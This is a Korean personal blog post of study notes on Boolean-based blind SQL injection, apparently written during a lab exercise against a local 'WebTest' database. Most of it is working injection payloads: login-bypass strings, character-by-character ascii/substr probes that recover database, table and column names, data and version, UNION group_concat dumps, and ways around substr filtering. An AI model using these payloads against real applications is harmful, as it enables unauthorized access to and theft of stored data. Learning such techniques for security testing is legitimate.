kjh00n의 기록저장소

Blind SQL Injection / Boolean SQL Injection 본문

어플리케이션 보안 운영

Blind SQL Injection / Boolean SQL Injection

kjh00n 2025. 1. 9. 15:45

Blind SQL Injection

● 웹 서버의 보안 설정으로 기존의 SQL Injection을 통한 정보 획득이 불가능한 경우 시도할 수 있는 공격

● 에러 메시지를 통해 직접적으로 정보를 획득하지 않음

● 눈에 보이지 않기 때문에(결과값이 응답 페이지에 없음) 일일이 하나씩 유추해서 원하는 결과를 얻어야함

● 공격자가 유추한 데이터를 SQL Query에 대입하여 결과를 참/거짓으로 구분하여 데이터를 획득

 

특징

● 참/거짓을 구분할 수 있는 서버의 응답이 필요함

● Brute Forcing

  • 한 문자씩 대입 공격을 수행함 → substring(문자, 시작위치, 크기)
  • 공격의 시간이 오래 소요 됨

● 많은 양의 Log를 발생시키므로 공격횟수를 최소화 해야함


Boolean SQL Injection


실습

substr(원본데이터,시작위치,크기) = 특정 함수에서 값을 잘라주는 함수

 

substr 함수 사용
substr의 값이 r이고 조건이 참이기 때문에 모든 정보를 출력

원본데이터의 첫 글자가 'r'이라는 것을 획득

원본데이터의 2번째 값은 'o'라는 것을 획득
DB의 첫 글자가 대문자 'W'라는 것을 획득

[대소문자 구분X]

Hacker가 아는 정보

SELECT ??? FROM ??? WHERE id컬럼='입력값' AND pw컬럼='입력값';

SELECT ??? FROM ??? WHERE id컬럼='' or ' # AND pw컬럼='입력값'; → ' or 값을 id컬럼에 입력

' or substr(database(),1,1)='a' # 이라는 입력은 'DB의 이름이 첫글자가 a이다' 라는 의미이다

ID에 공격코드를 넣고 PW에 아무값이나 입력하고 로그인하면 성공

[공격코드] → ' or substr(database(),1,1)='W' #

공격코드에 database의 이름의 첫 글자가 'W'이기에 성공

(소문자 'w'도 성공) → php에서는 대소문자 구분을 안하기 때문에 성공

로그인 성공~

[대소문자를 ASCII코드로 판별]

a와 A를 아스키값으로 출력
아스키 코드를 사용해서 DB의 첫 글자의 값을 아스키값으로 출력 (87)

87은 대문자 'W' / 119는 소문자 'w'

아스키코드가 사용되기에 범위로 파악할 수 있다

※이전 방법처럼 일일이 값을 대조할 필요가 없다.

[공격코드]

[DB 첫번째 글자 찾기]

[공격코드]
' or ascii(substr(database(),1,1)) >= 97 # → 거짓
' or ascii(substr(database(),1,1)) >= 65 # → 거짓
' or ascii(substr(database(),1,1)) > 77 # → 참
' or ascii(substr(database(),1,1)) > 84 # → 참
' or ascii(substr(database(),1,1)) > 87 # → 거짓
' or ascii(substr(database(),1,1)) > 85 # → 거짓
' or ascii(substr(database(),1,1)) > 86 # → 거짓
' or ascii(substr(database(),1,1)) > 87 # → 참

ID에 공격코드를 입력하고 PW에 아무런 값이나 입력

 

[DB 두번째 글자 찾기]

[공격코드]
' or ascii(substr(database(),2,1)) >= 87 # → 참
' or ascii(substr(database(),2,1)) > 99 # → 참
' or ascii(substr(database(),2,1)) > 100 # → 참
' or ascii(substr(database(),2,1)) > 102 # → 거짓
' or ascii(substr(database(),2,1)) > 101 # → 참
' or ascii(substr(database(),8,1)) >= 97 #
' or ascii(substr(database(),8,1)) >= 65 # 
' or ascii(substr(database(),8,1)) >= 49 # 
위 코드도 아니면 값이 없다고 판단해라

' or ascii(substr(database(),8,1)) = 0 # 
는 글자가 NULL값이라는 거다
97은 a
65는 A
49는 1
33~47은 특수문자

 

ID에 ' or ascii(substr(database(),2,1)) >= 87 #입력하고 PW는 아무거나 입력
성공

[Table 이름 찾기]

[SQL문]
SELECT table_name from information_schema.tables WHERE table_schema='WebTest';

 

[공격기법]
WebTest DB의 첫번째 Table의 글자 찾기 (board 테이블)
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 0,1),1,1)) >= 97 #
WebTest DB의 두번째 Table의 글자 찾기 (member 테이블)
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 1,1),1,1)) >= 97 #

 

[Column 이름 찾기]

원하는 DB의 원하는 Table의 첫번째 Column의 이름을 알아내는 공격

[SQL문]
select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1;
[공격코드]
' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) >= 97 # → 참(소문자)

' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 110 # → 거짓

' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 105 # → 참

' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 108 # → 참

' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 109 # → 거짓

' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 110 # → 참('n')

 

[Data 찾기]

원하는 DB의 원하는 Table의 원하는 데이터를 알아내기

[SQL문]
select u_id from member where no=1;
[공격코드]
' or ascii(substr((select u_id from member where no=1)1,1)) >= 97 # → 참(소문자)

이런 방식으로 알아내면 된다~

 

 

[번외]

[DB글자 길이로 판단]

[공격기법]
' or length(database()) = '7' #

ID에 공격코드 입력 / PW에 아무거나 입력
성공

[DB 버전 찾기]

DB 버전

[첫번째 글자 찾기]

[공격기법]
' or ascii(substr(version(),1,1)) >= 97 # → 거짓
' or ascii(substr(version(),1,1)) >= 65 # → 거짓
' or ascii(substr(version(),1,1)) >= 49 # → 거짓
' or ascii(substr(version(),1,1)) > 54 # → 거짓
' or ascii(substr(version(),1,1)) > 51 # → 거짓
' or ascii(substr(version(),1,1)) > 49 # → 거짓
' or ascii(substr(version(),1,1)) = 49 # → 참

 

[세번째 글자 찾기]

[공격기법]
' or ascii(substr(version(),3,1)) >= 49 # → 거짓
' or ascii(substr(version(),3,1)) >= 97 # → 거짓
' or ascii(substr(version(),3,1)) >= 65 # → 거짓
' or ascii(substr(version(),3,1)) = 0 # → 거짓
' or ascii(substr(version(),3,1)) = 46 # → 참

 

[공격 팁]

1. 알아내고자 하는 데이터 길이 확인

● length(원본데이터)

 

2. 여러 행에서 출력되는 같은 컬럼의 데이터를 한번에 붙여서 출력

group_concat(이름)

[공격기법]
-1 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11 from information_schema.tables where table_schema='WebTest' #

WebTest DB의 테이블 명 출력

[공격기법]
-1 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11 from information_schema.columns where table_name='board' #

board테이블의 모든 컬럼 명이 출력

3. Blind SQL Injection 수행 시 꼭 필요한 함수 → substr() → substr이 필터링되어 사용못하는 경우

● right(left(원본데이터,숫자),숫자);

right(left(database(),1),1);

첫번째 글자
두번째 글자

left(database(),1)의 결과는 'W'가 출력되고 left(database(),2)의 결과는 'We'가 출력된다.
right(database(),1)의 결과는 't'가 출력되고 right(database(),2)의 결과는 'st'가 출력된다.

right(left(database(),1),1)는 left의 출력결과에서 오른쪽에서 1글자를 가져온 'W'가 출력된다.
right(left(database(),7),3)은 left의 출력결과인 'WebTest'에서 오른쪽부터 3글자인 'est'를 출력한다.

 

● mid(원본데이터,시작위치,가져올데이터 크기);

'어플리케이션 보안 운영' 카테고리의 다른 글

Directory Listing 취약점  (0) 2025.01.10
Time Based SQL Injection  (0) 2025.01.10
Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출  (0) 2025.01.09
SQL Injection  (1) 2025.01.08
CSRF  (0) 2025.01.07